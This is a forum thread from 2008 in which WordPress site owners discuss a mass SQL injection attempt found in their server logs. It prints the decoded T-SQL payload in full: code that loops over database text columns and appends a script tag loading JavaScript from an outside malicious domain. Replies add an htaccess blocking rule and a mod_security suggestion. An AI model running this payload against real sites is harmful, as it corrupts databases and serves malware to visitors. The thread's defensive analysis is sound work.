Under Attack

no.

Hello,
the same happened to me.
Looking at the log files, I noticed the following record:

116.48.67.106 - - [09/Aug/2008:05:58:47 +0300] "GET /2008/03/15/sottsass/?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x 

....about 650 hex characters follows...

0CHAR(4000));EXEC(@S); HTTP/1.1" 200 11878 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)"

The hex string, once translated, shows the following:

GET /2008/03/15/sottsass/?';DECLARE @SCHAR(4000);SET @S=CAST(DECLARE @T varchar(255)'@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="https://sdo.1000mg.cn/csrss/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="https://sdo.1000mg.cn/csrss/w.js"></script><!--''')FETCH NEXT FROM  Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor AS% CHAR(4000));EXEC(@S)

Where is a reference to a js script, located in (omitted here):
This scripts, also, has references to three urls (omitted here).

In particular, the last two are reported as malicious sites.

The attack comes from:
IP : 116.48.67.106
Host Name : n1164867106.netvigator.com
Country : Hong Kong

Is it a possible security problem of WordPress?
What are the potential risks?

It’s only a security problem if Something Bad(tm) happens.

1. Unless someone is able to use your server to redirect traffic or execute on their browser exploit code (end user hits you with that URL and then KABLAM on them)

or

2. Those URLs cause your WordPress installation getting compromise and exploited (data successfully added to your database or filesystem).

If either one appears to be happening then it’s a successful exploit (maybe).

If the end user making the URL request simply gets your 404 page or just the post at /2008/03/15/sottsass/ (the post, the whole post, and nothing but the post) then it’s a failed exploit attempt.

My logs are showing multiple sources for the GET requests, and as far as i can tell, no penetration. Somebody is flexing their bots, either believing in error they have found a MySQL/WordPress flaw, or looking for unpatched WordPress codebase, on which this works.

Mildly irritating in that it eats a bit of bandwidth and fuzzes my stats, but other than that, script-kiddie lame.

1. Unless someone is able to use your server to redirect traffic or execute on their browser exploit code (end user hits you with that URL and then KABLAM on them)

or

2. Those URLs cause your WordPress installation getting compromise and exploited (data successfully added to your database or filesystem).

Thank you for your explanation.
I checked either the database either the logs, all seems ok (for now).

But… they did not have nothing else to do?

Mildly irritating in that it eats a bit of bandwidth and fuzzes my stats

If you really wanted to you could add a couple of lines to your htaccess file to block any request where the query string contains the word declare

RewriteCond %{QUERY_STRING} ^(.+)declare(.+)$ [NC]
RewriteRule ^.* - [F,L]

@ tflight – Thank-you; you just saved me a trip into my Apache books, looking for the proper syntax. It’s greatly appreciated.

addpdg – Don’t forget to prepend RewriteEngine On otherwise both lines will have no effect.

For those who have the option of installing additional apache modules, mod-security is an excellent package that can prevent sql injection attacks before they even get to the application.

See https://www.modsecurity.org/

Googling for this seems to indicate that its an asp and/or coldfusion attack.

I just registered to post about this, but luckily I found this thread before opening a new one. I got four such requests on my WordPress site yesterday (in an interval of 4 seconds), but nothing bad seemed to have happened. I had 2.5.1 installed, but I only noticed those requests after I had finished upgrading to 2.6.1.

Still a bit discouraging, almost makes me want to go back to either a static website, or a super-simple self made solution with flat files, without any comment support of course, as that’s a whole new can of worms…

Agch.

@ Alex.

Consider that a PHP application is being is seeing exploit attempts that are actually CF attacks. Whats that tell you?

having a static web site doesnt save you from scripted attacks –

If you dont want to see ANY attacks, the realistically, you should not have any web site.

seeing these attacks on my blog today.